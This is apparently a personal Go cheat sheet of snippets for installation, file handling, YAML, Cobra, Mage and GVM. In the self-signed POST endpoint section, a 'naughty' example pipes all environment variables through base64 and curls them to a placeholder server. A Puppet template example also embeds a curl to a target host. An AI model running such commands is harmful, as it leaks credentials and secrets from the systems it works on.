Installation

Ubuntu

dl_link='https://dl.google.com/go/go1.15.7.linux-amd64.tar.gz'
wget -c $dl_link -O - | sudo tar -xz -C /usr/local
echo "" >> ~/.bashrc
echo '# Golang exports' >> ~/.bashrc
echo 'export PATH="$PATH:$:/usr/local/go/bin"' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
source ~/.bashrc
# Test:
go version

Resource: https://golang.org/doc/install

MacOS

Install it:

brew install golang

Add the following to ~/.zshrc:

export GOPATH=$HOME/programs/go
# Set GOROOT since we're using brew
export GOROOT="$(brew --prefix golang)/libexec"
# Add go to PATH - so we can run executables from anywhere
export PATH="$PATH:${GOPATH}/bin:${GOROOT}/bin"

Resource: https://medium.com/@krisma/gopath-and-goroot-set-up-in-mac-and-in-vscode-cf86d8503e57

Start New Project

This will create the project:

GIT_ACCT_NAME='l50'
PROJECT_NAME='awesomegoproject'

mkdir -p "${GOPATH}/src/github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"
cd $_
go mod init "github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"

Resource: https://golang.org/doc/code.html

Clone project

export GO111MODULE=off
go get github.com/<git account name>/<project name>

You’ll be able to find the code in $GOPATH/src/github.com/<git account name>/<project name>

Resource: https://stackoverflow.com/questions/66284870/go-get-not-downloading-to-src-folder

Get dependencies

Get any dependencies you’ve defined in go code you’ve put in place

go get -v

functionName vs FunctionName

A function that starts with a lowercase letter is only available within the package in which it’s defined.

A function that start with an uppercase letter is available to any packages in your program.

Resource: https://stackoverflow.com/questions/38616687/which-way-to-name-a-function-in-go-camelcase-or-semi-camelcase

Compile binary

go build

String Interpolation

var a string = "Hello"
var b string = "World"
c := fmt.Sprintf("%s %s!", a, b)
fmt.Println(c)

Debugging

Start debugger:

dlv debug

Set breakpoint on line 36 in main.go:

break main.go:36

Set breakpoint on line 8 in anotherGoFile.go:

break anotherGoFile.go:8

Debug program with command line arguments (after compiling)

dlv debug -- -a argument -b another_argument

Print contents of the b variable

print b

Restart the debugging process

r

Resources: https://github.com/derekparker/delve/issues/178 https://www.youtube.com/watch?v=zgLjVD5ZSOc

Remove empty strings trailing in a slice

func RemoveTrailingEmptyStringsInStringArray(sa []string) []string {
  lastNonEmptyStringIndex := len(sa) - 1
  for i := lastNonEmptyStringIndex; i >= 0; i-- {
    if sa[i] == "" {
      lastNonEmptyStringIndex--
    } else {
      break
    }
  }
  return sa[0 : lastNonEmptyStringIndex+1]
}

Read an input file from a specified path

func readLines(filePath string) ([]string, error) {
  b, err := os.ReadFile(filePath)
  if err != nil {
    return nil, err
  }

  return RemoveTrailingEmptyStringsInStringArray(strings.Split(string(b), "\n"))
    , nil
}

Remove an extension from a string

func removeExtn(input string) string {
 if len(input) > 0 {
  if i := strings.LastIndex(input, "."); i > 0 {
   input = input[:i]
  }
 }
 return input
}

Resource: https://play.golang.org/p/Agak4g66pfb - playground and source

Check if command installed

// Helper function to determine if a command is installed
func CommandExists(cmd string) bool {
 _, err := exec.LookPath(cmd)

 if err != nil {
  fmt.Printf("%v\n", err)
  return false
 }

 return true
}

Resource: https://gist.github.com/miguelmota/ed4ec562b8cd1781e7b20151b37de8a0

Upload file to remote web server

func uploadFile(targetUrl string, fileName string) error {
    bodyBuffer := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuffer)

    fileWriter, err := bodyWriter.CreateFormFile("fileToUpload", payload)
    if err != nil {
        return err
    }

    fh, err := os.Open(fileName)
        if err != nil {
     fmt.Printf("Error opening file: %v\n", err)
     return err
        }

    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(
      fmt.Sprintf("http://%s/upload.php", targetUrl), contentType, bodyBuffer)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    respBody, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    fmt.Println(resp.Status)
    fmt.Println(string(respBody))
    return nil
}

Resource: Upload file via POST request in golang

Compiling binaries

OSX 64-bit:

env GOOS=darwin GOARCH=amd64 go build -o osx

Linux 64-bit:

env GOOS=linux GOARCH=amd64 go build -o linux

Resources: https://www.digitalocean.com/community/tutorials/how-to-build-go-executables-for-multiple-platforms-on-ubuntu-16-04 https://stackoverflow.com/questions/42706246/how-to-build-executable-with-name-other-than-golang-package

Return multiple values from function

You can natively return multiple values in go. Here’s a basic function example (specifically the declaration and return):

func greatFunc(param1 string, param2 string, param3 string) (bool, string) {
// body omitted
return true, returnString

Resource: https://gobyexample.com/multiple-return-values

Multiline string

    var payload = `  include myfile
}`

Resource: https://play.golang.org/p/kcupXFwzgrZ

Comments

Normal

// comment

Block

/*
comment
*/

Nested directory creation

path := filepath.Join("/tmp", "foo" ,"bar")
if _, err := os.Stat(path); errors.Is(err, os.ErrNotExist) {

    if err := os.Mkdir(path, os.ModePerm); err != nil {
        return err
    }
}

Resources:

Convert int to str

import "strconv"
strconv.Itoa(123) // "123"

Resource: https://stackoverflow.com/questions/10105935/how-to-convert-an-int-value-to-string-in-go

Check if file contains string

package main

import (
    "fmt"
    "os"
    "strings"
)

func main() {
    var text string
    fmt.Print("Enter text: ")
    // get the sub string to search from the user
    fmt.Scanln(&text)

    // read the whole file at once
    b, err := os.ReadFile("input.txt")
    if err != nil {
        panic(err)
    }
    s := string(b)
    // //check whether s contains substring text
    fmt.Println(strings.Contains(s, text))
}

Resource: https://stackoverflow.com/questions/37194739/how-check-whether-a-file-contains-a-string-or-not

Check if string contains another string

import (
    "strings"
)

srcString := "blablabla"
subString := "bla"
if strings.Contains(srcString, subString) {
    fmt.Printf("%s is present in %s.\n", subString, srcString)
} else {
    fmt.Printf("%s is not present in %s.\n", subString, srcString)
}

Resources: https://stackoverflow.com/questions/45266784/go-test-string-contains-substring https://appdividend.com/2020/04/13/golang-string-contains-function-contains-function-in-go/ https://www.tutorialkart.com/golang-tutorial/golang-check-if-string-contains-a-substring/

Filepath operations

import "fmt"
import "path/filepath"

func main() {
 t := "/etc/init.d/somefile"
 fmt.Printf("base is %q dir is %q is it absolute? %v\n",
  filepath.Base(t),
  filepath.Dir(t),
  filepath.IsAbs(t))
 d, f := filepath.Split(t)

 fmt.Printf("split returns file %q dir %q\n", f, d)
        fmt.Printf("clean it up %q", filepath.Clean("a/b/c/../d//////../../f"))
}

If you need to return a filepath:

d := "/etc/bla/bla2/bla3/"
filepath.Clean(filepath.Join(d, "../")) // /etc/bla/bla2

Get the directory of a path

fmt.Println(filepath.Dir("/root/.ansible/site.yml"))

Playground: https://play.golang.org/p/nlcH1G3x5Vs

Get the last element of a path

base := filepath.Base("/home/dennis/IdeaProjects/Playground/hello.go")
fmt.Println("Base:", base)
# returns hello.go

Resource: https://ispycode.com/GO/Path-and-Filepath/Last-element-of-path

Create file with string content

filename := "file.txt"
name := "bob"

content := fmt.Sprintf("Stuff and things go into this string for %s\n", name)
f, err := os.Create(filename)

if err != nil {
    fmt.Printf("Failed to create file: %v\n", err)
    return err
}

defer f.Close()

_, err = f.WriteString(content)

if err != nil {
    fmt.Printf("Failed to write content to %s: %v\n", filename, err)
    return err
}

return nil

Resource: https://zetcode.com/golang/writefile/

Read template file

The person that put this together is a hero (Gustavo Bittencourt).

package main

import (
  "log"
  "os"
  "path"
  "text/template"
)

type Command struct {
  ClassName string
  CmdName   string
  Cmd       string
}

func main() {
  command := Command{
    ClassName: "my_cmd",
    CmdName:   "cmd",
    Cmd:       "curl target.com:8001/asdf",
  }

  t := template.New("puppetModule.tmpl")

  t, err := t.ParseFiles(path.Join("templates", "puppetModule.tmpl"))

  if err != nil {
    log.Fatal("Parse: ", err)
  }

  err = t.Execute(os.Stdout, command)
  if err != nil {
    log.Fatal("Execute: ", err)
  }
}

puppetModule.tmpl:

class {{.ClassName}} {
  exec { '{{.CmdName}}':
    path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
    command => '{{.Cmd}}'
  }
}

Resource: https://stackoverflow.com/questions/32388777/error-when-creating-a-template-and-then-parsing-from-files

Update all go modules recursively

go get -u ./...

Resource: https://stackoverflow.com/questions/67201708/go-update-all-modules

Go get cert errors fix

Obviously, this is not ideal (observe the -insecure flag):

go get -u -v -insecure "${TARGET_GO_PROJ}"

From go help get: -u: Look for updates to existing packages -v: Verbose progress and debug output

Resource: https://github.com/golang/go/issues/18519

Generate random int in a range

import (
  "fmt"
  "math/rand"
  "time"
)

func randInt(min int, max int) int {
  return min + rand.Intn(max-min)
}

func main() {
  start := 1
  finish := 6
  rand.Seed(time.Now().UTC().UnixNano())
  fmt.Printf("%v", rand.Intn(finish-start)+start)
}

Resources: https://stackoverflow.com/questions/44659343/how-to-choose-a-random-number-from-the-range https://golang.cafe/blog/golang-random-number-generator.html

Get lowercase version of string

import "strings"
strings.ToLower("Gopher")

Resource: https://stackoverflow.com/questions/10411538/how-do-i-convert-a-string-to-a-lower-case-representation

Copy file

import (
  "os"
  "log"
)

 func CpFile(src string, dst string) {
   input, err := os.ReadFile(src)
   if err != nil {
     log.Println(err)
     return
   }

   err = os.WriteFile(dst, input, 0644)
   if err != nil {
     log.Println("Error creating", dst)
     log.Println(err)
     return
   }
 }

Resource: https://opensource.com/article/18/6/copying-files-go

Determine OS being used

package main

import (
 "fmt"
 "runtime"
)

func main() {
 if runtime.GOOS == "linux" {
  fmt.Println("You are running on Linux")
 } else if runtime.GOOS == "darwin" {
  fmt.Println("You are running on OSX")
 } else if runtime.GOOS == "windows" {
  fmt.Println("You are running on Windows")
 } else {
  fmt.Println("Unsupported OS detected")
 }
}

Playground: https://play.golang.org/p/ULd8sMpy0dt Resource: https://golangcode.com/detect-if-code-is-running-on-windows-at-runtime/

Go get private repo

git config --global url."git@github.com:".insteadOf "https://github.com/"

Resource: https://bialon.net/post/how-to-go-get-private-repos/

Get Working Directory

func Gwd() string {
 dir, err := os.Getwd()
 if err != nil {
  log.Fatalln(err)
 }
 return dir
}

Resource: https://gist.github.com/arxdsilva/4f73d6b89c9eac93d4ac887521121120

Install a specific binary version

go get github.com/some/tool@v1.0.1

Resource: https://stackoverflow.com/questions/53368187/go-modules-installing-go-tools

Unit Testing

Run tests without caching

As of 1.12, you can no longer use GOCACHE=off, i.e.

GOCACHE=off go test -v -race ./...

However, you can use -count=1. For example:

go test -v -count=1 -race ./...

Resources: https://github.com/golang/go/issues/26809 https://github.com/golang/go/issues/22758

Run unit tests in a directory

This particular example will only run the tests in the prometheus directory:

DIR_WITH_TESTS=prometheus
go test -v -race "./.../${DIR_WITH_TESTS}"

Resource: https://stackoverflow.com/questions/19200235/golang-tests-in-sub-directory

Run specific unit test

This example runs TestGwd:

go test -v -run ^TestGwd$ github.com/l50/goutils

Unit test private functions

An private function requires a little hack to write unit tests for. The steps are as follows:

  1. Create a export_test.go file in which you will create an exported variable that points to the unexported function. For example:

    package <package in which the unexported function exists>
var Backup = backup

  2. Create your normal _test file and be sure to reference the exported variable you created in export_test.go

Resource: https://medium.com/@robiplus/golang-trick-export-for-test-aa16cbd7b8cd

Slices

A slice is essentially an array in Golang.

String to Slice

cmd := "puppetserver ca list --all"
strArr := strings.Fields(cmd)
fmt.Println(strArr[0])
// Will print: puppetserver

Resource: https://stackoverflow.com/questions/13737745/split-a-string-on-whitespace-in-go

Convert string slice to string

strings.Join(arr []string, separator string) string

Resource: https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string

Check if string in slice

func stringInSlice(a string, list []string) bool {
 for _, b := range list {
  if b == a {
   return true
  }
 }
 return false
}

Example usage:

if stringInSlice("bla", blaSlice) {
   fmt.Println("Gotem!")
}

Resources: https://stackoverflow.com/questions/15323767/does-go-have-if-x-in-construct-similar-to-python https://play.golang.org/p/j6hP7lygR33 - hands-on example https://play.golang.org/p/NoucaeldZoO - another hands-on example

Write slice to file

package main

import (
    "fmt"
    "log"
    "os"
)

func main() {
    f, err := os.Create("data.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    words := []string{"sky", "falcon", "rock", "hawk"}

    for _, word := range words {

        _, err := f.WriteString(word + "\n")

        if err != nil {
            log.Fatal(err)
        }
    }

    fmt.Println("done")
}

Resource: https://zetcode.com/golang/writefile/

Get everything but first element of slice

range Arr[1:]

Resource: https://stackoverflow.com/questions/37429248/skip-first-element-of-an-array-in-golang

Convert bytes slice to a string

s := string([]byte{65, 66, 67, 226, 130, 172})
fmt.Println(s) // ABC€

Resource: https://yourbasic.org/golang/convert-string-to-byte-slice/

Convert strings slice to string

strings.Join(arr []string, separator string) string

Resource: https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string

File to Slice

Reads an input file into a slice

func fileToSlice(fileName string) ([]string, error) {
    b, err := os.ReadFile(fileName)
 if err != nil {
  return nil, err
 }
 return strings.Split(string(b), "\n"), nil
}

Resource: https://socketloop.com/tutorials/golang-read-a-file-into-an-array-or-slice-example

Go Mod

Create new go.mod file:

go mod init

Ensure go.mod matches source code in the module, adds missing module requirements for all packages, and removes requirements that don’t provide relevant packages:

go mod tidy

Resources: https://blog.golang.org/migrating-to-go-modules https://medium.com/@fonseka.live/getting-started-with-go-modules-b3dac652066d https://golang.org/ref/mod#go-mod-tidy

Write to file

m := "stuff to write in file"
err = os.WriteFile("./file.txt", m, 0644)
if err != nil {
 log.Printf("error: %v", err)
}
package main

import (
    "fmt"
    "log"
    "os"
)

func main() {

    f, err := os.Create("data.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    _, err2 := f.WriteString("old falcon\n")

    if err2 != nil {
        log.Fatal(err2)
    }

    fmt.Println("done")
}

Resource: https://zetcode.com/golang/writefile/

Append to multiple files

af, err := os.OpenFile(asnsFile,os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Printf("error: %v", err)
}

irf, err := os.OpenFile(ipRangesFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Printf("error: %v", err)
}

defer af.Close()
defer irf.Close()

if _, err := af.WriteString("stuff\n"); err != nil {
    log.Fatalf("Error writing to %v: %v", af, err)
}

if _, err := irf.WriteString("More stuff!\n"); err != nil {
    log.Fatalf("Error writing to %v: %v", irf, err)
}

Unmarshal YAML to struct - example 1

Begin by using https://mengzhuo.github.io/yaml-to-go/ to create a struct for the yaml file, for example:

type ansible []struct {
 Name   string   `yaml:"name"`
 Hosts  string   `yaml:"hosts"`
 Become bool     `yaml:"become"`
 Roles  []string `yaml:"roles"`
}

Once you’ve done that, read the yaml file and unmarshal it into the struct:

b, err := os.ReadFile("./ansible.yml")
if err != nil {
 log.Fatal(err)
}

d := ansible{}
err = yaml.Unmarshal(b, &d)
if err != nil {
 log.Fatal(err)
}
log.Printf("%v", d)

If you make modifications to the yaml, marshal it and write it back to the file:

d[0].Roles = append(d[0].Roles, "hello2")
log.Printf("%v", d)

m, err := yaml.Marshal(&d)
if err != nil {
 log.Fatalf("error: %v", err)
}

err = os.WriteFile("./ansible_modified.yml", m, 0644)
if err != nil {
 log.Fatalf("error: %v", err)
}

Get contents of YAML file

// GetYamlFile returns the input YAML file as a byte slice.
func GetYamlFile(yamlFile string) ([]byte, error) {
    yfile, err := os.ReadFile(yamlFile)
    if err != nil {
        return nil, err
    }

    return yfile, nil
}

yamlFileLoc := "file.yaml"

yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
    log.WithError(err).Error("Failed to read the input yaml file.")
    os.Exit(1)
}

// PrintYaml prints the contents of the input YAML file.
func PrintYaml(yamlFile []byte) {
    fmt.Printf("---\n%s\n", string(yamlFile))
}

yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
    log.WithError(err).Error("Failed to read the input yaml file.")
    os.Exit(1)
}

PrintYaml(yfile)

Unmarshal YAML to struct - example 2

You can figure out the struct format by using this site.

type Animal struct {
    Name              string `yaml:"name"`
    Description       string `yaml:"description"`
    Species           string `yaml:"species"`
}

// GetAnimalMap returns the contents of the input animal YAML
// file as a map of Animals.
func GetAnimalMap(yamlFile []byte) (map[string]Animal, error) {
    animalList := make(map[string]Animal)

    if err := yaml.Unmarshal(yamlFile, &animalList); err != nil {
        return nil, err
    }

    return animalList, nil
}

animalMap, err := GetAnimalMap(yfile)
if err != nil {
    log.WithError(err)
    os.Exit(1)
}

// Print unmarshalled YAML
for k, v := range animalList {
    fmt.Printf("Name: %s\n", v.Name)
    fmt.Printf("Description: %s\n", v.Description)
    fmt.Printf("Species: %s\n\n", v.Species)
}

Resources: https://github.com/go-yaml/yaml https://gist.github.com/ka2n/4457eacdb6c986624eb29cc02fe8d31c https://play.golang.org/p/nYZCWIi2hxa

Multi line variable assignment

var data2 = `
---
- hosts: all
  remote_user: root
  roles:
  - common

- hosts: lb_servers
  remote_user: root
  roles:
  - lb-nginx

- hosts: backend_servers
  remote_user: root
  roles:
  - tomcat

- hosts: memcached_servers
  remote_user: root
  roles:
  - memcached
`

Resource: https://github.com/ansible/ansible-examples/blob/master/tomcat-memcached-failover/site.yml

Set

// Create new empty set
set := make(map[string]bool)

// Add new element to the set
set["bla"] = true

// Print the elements of the set
for k := range set {
    fmt.Println(k)
}

// Add item to set if it's not already there
if !set["bla"] {
    set["bla"] = true
}

Resources: https://yourbasic.org/golang/implement-set/ https://play.golang.org/p/T2TR_Aib-H7

Regular expressions

Check if string matches regex

file := "ansible.cfg.old"
matched, _ := regexp.MatchString(`ansible.cfg$`, file)
// Return false
fmt.Println(matched)

Resources: https://yourbasic.org/golang/regexp-cheat-sheet/ https://play.golang.org/p/UUqSQHCqMsZ

Check if string is valid hostname

This will match valid hostnames as per RFC 1123.

line := "hostname.example.com"
validHostname, _ := regexp.MatchString(`
^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9]
[A-Za-z0-9\-]*[A-Za-z0-9])$`, line)
if validHostname {
    fmt.Println(line)
}

Resources: https://stackoverflow.com/questions/106179/regular-expression-to-match-dns-hostname-or-ip-address https://play.golang.org/p/Mhckhn4jj3r

String interpolation with filepath

err := os.Rename(filepath.FromSlash(fmt.Sprintf("content/post/%s", file)), noPublishFolder)
check(err)

Resource: https://channaly.medium.com/string-interpolation-in-golang-ecb3bcb2d600

Update package on go.dev

curl https://sum.golang.org/lookup/github.com/eduncan911/podcast@v1.4.1

Resource: https://stackoverflow.com/questions/60217151/how-to-release-updated-packages-for-go-mod-pkg-go-dev-consumers

This is very helpful if you’re trying to do something like copying a big slice into the The Go Playground, or want to get a sense of how something looks in go.

fmt.Printf("%#v", bigSlice)

Resource: https://stackoverflow.com/questions/24489384/how-to-print-the-values-of-slices

Convert relative to absolute path

// Operating from /home/user/dir
absFilePath = ""
path, err := filepath.Abs(Cli.FilePath)
if err != nil {
    log.Printf("Error getting absolute path from %s", path)
}

absFilePath = path

Run goscorecard locally

Get the CLI:

go get github.com/gojp/goreportcard/cmd/goreportcard-cli

Navigate to the directory you want to run it on, and then run:

goreportcard-cli -v

Resource: https://github.com/gojp/goreportcard

Validate input emails

package validators

import (
 "fmt"
 "net"
 "regexp"
 "strings"
)

// IsEmailValid checks an input email to determine
// if it is a valid email address.
// Code was found at: https://golangcode.com/validate-an-email-address/
func IsEmailValid(email string) bool {
 var emailRegex = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$")

 fmt.Printf("Validating email: %s\n", email)

 if len(email) < 3 && len(email) > 254 {
  return false
 }
 if !emailRegex.MatchString(email) {
  return false
 }
 parts := strings.Split(email, "@")
 mx, err := net.LookupMX(parts[1])
 if err != nil || len(mx) == 0 {
     fmt.Printf("Error, invalid email: %s", email)
  return false
 }
 return true
}

Resource: https://golangcode.com/validate-an-email-address/

Get the type of an object

var x interface{} = r.FormValue("email")
xType := fmt.Sprintf("%T", x)
fmt.Println(xType) // "string"

Resource: https://yourbasic.org/golang/find-type-of-object/

List of Response Codes

Can be found here: https://golang.org/src/net/http/status.go

Show supported functions

fooType := reflect.TypeOf(result)
for i := 0; i < fooType.NumMethod(); i++ {
    method := fooType.Method(i)
    fmt.Println(method.Name)
}

Resource: https://stackoverflow.com/questions/21397653/how-to-dump-methods-of-structs-in-golang

Pretty Print a Request

import (
 "fmt"
 "net/http/httputil"
)

requestDump, err := httputil.DumpRequest(request, true)
if err != nil {
    fmt.Println(err)
}

fmt.Println(string(requestDump)

Resource: https://medium.com/doing-things-right/pretty-printing-http-requests-in-golang-a918d5aaa000

POST endpoint with self signed cert

This can be used to decode base64 input from a POST request and output it to a file.

Interestingly, as I was building this in the first place, I found that using r.ParseForm was giving me different base64 than if I ran the output through httputil.DumpRequest.

Suffice it to say, the final solution is suited to a very particular case, and you should definitely never even remotely consider running it in production EVER.

Generate the self signed cert and key:

openssl req \
    -x509 \
    -nodes \
    -new \
    -keyout server.key \
    -out server.crt \
    -days 3650 \
    -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=yourhostname.com"

main.go:

package main

import (
 b64 "encoding/base64"
 "fmt"
 "os"
 "log"
 "net/http"
 "net/http/httputil"
 "path/filepath"
 "regexp"
 "time"
)

func genFileName() string {
 t := time.Now()
 return t.Format(time.RFC3339) + ".txt"
}

func endpoint(w http.ResponseWriter, r *http.Request) {
 // Make sure input is a POST request
 if r.Method != http.MethodPost {
  w.WriteHeader(http.StatusMethodNotAllowed)
  fmt.Fprintf(w, "invalid_http_method")
  return
 }

 // Dump the request because we're not getting the right base64 value
 // when we do things properly with r.ParseForm()
 requestDump, err := httputil.DumpRequest(r, true)
 if err != nil {
  fmt.Println(err)
 }
        // For debugging purposes:
 //fmt.Println(string(requestDump))

 dataRegex := regexp.MustCompile(`stuff=(.*)`)
 groups := dataRegex.FindStringSubmatch(string(requestDump))
 decoded, err := b64.StdEncoding.DecodeString(groups[1])
 if err != nil {
  fmt.Println("decode error:", err)
  return
 }
        // print data when it comes in
 fmt.Println(string(decoded))

        // write the decoded data to a file
 filename := genFileName()
 err = os.WriteFile(filepath.Join("data", filename), []byte(decoded), 0644)
 if err != nil {
  log.Fatalf("error: %v", err)
 }

 fmt.Fprintf(w, "Data received, thanks!")
}

func main() {
 port := ":8080"
 mux := http.NewServeMux()
 mux.HandleFunc("/data", endpoint)
 log.Fatal(http.ListenAndServeTLS(port, "server.crt", "server.key", mux))
}

Send data to it:

echo "stuff=bla" | curl -X POST -k https://yourhostname.com:8080/data -d @-

For example, if you’re being naughty, you might do something like:

env_data=$(printenv | base64 -w 0)
echo "stuff=$env_data" | curl -X POST -k https://yourhostname.com:8080/data -d @-

If you’re being naughty and thinking about operational security, you can use the client certificate instead of the -k flag. More details on how to do that here.

Resources:

Output to a file

func outputToFile(filepath string, content []byte,
  permissions os.FileMode) bool {
 err := os.WriteFile(filepath, content, permissions)
 if err != nil {
  log.Printf("error: %v", err)
  return false
 }
 return true
}

success := outputToFile(filepath.Join("~/ubuntu/output.txt", stufftowrite, 0644))
if success == true {
  fmt.Println("Wrote output to file successfully!")
}

Cobra

Install

GITHUB_USER=l50
APP_NAME=myapp
mkdir "${APP_NAME}"
cd $_
go mod init "github.com/${GITHUB_USER}/${APP_NAME}"
go install github.com/spf13/cobra-cli@latest

Resources: https://dzone.com/articles/how-to-create-a-cli-in-go-in-few-minutes https://towardsdatascience.com/how-to-create-a-cli-in-golang-with-cobra-d729641c7177

Create a project

CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT

cobra-cli init -a "${CONTACT}" -l "${LICENSE}"

Add new command

CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT
CMD_NAME=commandname

cobra-cli add "${CMD_NAME}" -a "${CONTACT}" -l "${LICENSE}"

Build the binary

APP_NAME=myapp
go install "${APP_NAME}"

Create cobra config

This saves you from having to add this information each time you create a new cobra project.

~/.cobra.yaml:

author: Your Name <youremail@wherever.com>
license: MIT
useViper: true

How Flags Work

https://ordina-jworks.github.io/development/2018/10/20/make-your-own-cli-with-golang-and-cobra.html

Viper

Get all values

fmt.Println(viper.AllSettings())
fmt.Println(viper.AllKeys())

Resources:

Create go module without remote repo

Folder structure for example:

root
 ├── client
 │   ├── go.mod
 │   └── main.go
 └── lib
     ├── go.mod
     └── lib.go

Add the following to go.mod:

require github.com/owner/root/lib v0.0.0
replace github.com/owner/root/lib => ../lib

Resource: https://stackoverflow.com/questions/62164408/go-modules-without-remote-repository

Mage

Install mage

go install github.com/magefile/mage@latest

Create go module (if not already done)

# Grab relevant string from git config for repo cloned with SSH
REPO=$(cat .git/config | grep github | awk -F '@' '{print $2}' | \
  tr ':' '/' | rev | cut -c5- | rev)
# Grab relevant string from git config for repo cloned with HTTPS
REPO="$(cat .git/config | grep url | \
  awk -F 'https://' '{print $2}' | rev | cut -c5- | rev)"
go mod init "${REPO}"

Resource: Remove last n chars from string

Create Mage Template for a project

mage -init

Run bash command

err := sh.Run("docker-compose", "down", "-v")
if err != nil {
    fmt.Printf("Failed to destroy the containers: %v\n", err)
    return err
}

Resource: https://github.com/magefile/mage/blob/master/magefile.go

Run bash command and get output

output, err := sh.Output("whoami")
if err != nil {
    fmt.Printf("Failed to figure out who I am :(")
    return err
}
if strings.Contains(output, "apache") {
    fmt.Println(output)
} else {
    fmt.Printf("Not currently the apache user.\n")
}

Resource: https://carolynvanslyck.com/blog/2021/01/mage-is-my-favorite-make/

Mage and Cobra

In order for these wonderful tools to place nicely you need to make some modifications. For this example, we’ll pretend there isn’t a pre-existing magefile:

mkdir .mage
cd .mage
cat > go.mod <<- EOM
module magefile

go 1.16

require (
        github.com/magefile/mage v1.12.1
)
EOM
mage -init

Whenever you run mage, you’ll simply need to add -d .mage. For example:

mage -d .mage/ InstallDeps

Alternatively, to make your life a lot easier, you can also just create a binary to run:

mage -d .mage/ -compile ../magefile

and use that:

./magefile installDeps

Compile Code

func Compile() error {
    fmt.Println(Compiling the code")

    env := map[string]string{
        "GOOS":   "linux",
        "GOARCH": "amd64",
    }

    return sh.RunWith(env, "go", "build")
}

Resource: https://github.com/mike-seagull/domain_pecker/blob/8d2def51ea69babe683fa74a4e32d48369b7c12f/magefile.go

Go vet pre-commit

If you want to run go vet as a pre-commit command, you’ll need to create a custom solution.

.pre-commit-config.yaml:

---
repos:
  - repo: local
    hooks:
      - id: go-vet
        name: Run go vet
        language: script
        entry: .hooks/go-vet.sh

.hooks/go-vet.sh:

#!/bin/bash
set -e

pkg=$(go list)
for dir in */ ; do
  if [[ "${dir}" != ".mage" ]] && \
     [[ "${dir}" != "config/" ]] && \
     [[ "${dir}" != "logs/" ]]; then
    go vet $pkg/$dir
  fi
done

Resource: Issue that yielded a solution go.mod example Original pre-commit hook that I based mine on

GVM

GVM is a version manager for golang.

Install GVM

You can add this script to your dotfiles if you’d like:

GO_VER=1.16.4
if hash go 2>/dev/null; then
  GVM_BIN=$HOME/.gvm/scripts/gvm
  export GOPATH=$HOME/programs/go
  if [[ ! -f $GVM_BIN ]]; then
    # Install gvm if it isn't installed
    bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
    source $GVM_BIN
    gvm install "go${GO_VER}"
  fi
  source $GVM_BIN
  gvm use "go${GO_VER}" --default
  # Add go to PATH - so we can run executables from anywhere
  export PATH="$PATH:${GOPATH}/bin"
fi

Create and use project pkgset

A pkgset is used to manage different GOPATHs for different projects.

PROJECT_NAME=myproject
gvm pkgset create "${PROJECT_NAME}"
gvm pkgset use "${PROJECT_NAME}"
# Show the updated $GOPATH to confirm everything worked as expected
echo $GOPATH

Resources:

List all go versions

gvm listall

Install new go version

gvm install go1.16.4

Set default go version

gvm use go1.16.4 --default

Resources: https://jimkang.medium.com/install-go-on-mac-with-homebrew-5fa421fc55f5
https://blog.bullgare.com/2020/11/install-go-with-gvm-on-macos-big-sur/

Convert if-else to switch statement

if-else example to convert:

// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
 t.Helper()
 var testFile string
 if runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
  testFile = filepath.FromSlash("/etc/passwd")
 } else if runtime.GOOS == "windows" {
  testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
 } else {
  t.Fatal("Unsupported OS detected")
 }
 return testFile
}

converted to switch statements:

// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
        t.Helper()
        var testFile string
        switch runtime.GOOS {
        case "linux", "darwin":
                testFile = filepath.FromSlash("/etc/passwd")
        case "windows":
                testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
        default:
                t.Fatal("Unsupported OS detected")
        }
        return testFile
}

Resources:

Append text to file

f, err := os.OpenFile("text.log",
 os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Println(err)
}
defer f.Close()
if _, err := f.WriteString("text to append\n"); err != nil {
 log.Println(err)
}

Resource: https://yourbasic.org/golang/append-to-file/

Convert Error to String

b, err := os.ReadFile(filePath)
errStr := err.Error()
fmt.Println(errStr)

Resource: https://www.systutorials.com/in-golang-how-to-convert-an-error-to-a-string/

Check if String in File

f, err := os.Open(path)
if err != nil {
    return 0, err
}
defer f.Close()

// Splits on newlines by default.
scanner := bufio.NewScanner(f)

line := 1
// https://golang.org/pkg/bufio/#Scanner.Scan
for scanner.Scan() {
    if strings.Contains(scanner.Text(), "yourstring") {
        return line, nil
    }

    line++
}

if err := scanner.Err(); err != nil {
    // Handle the error
}

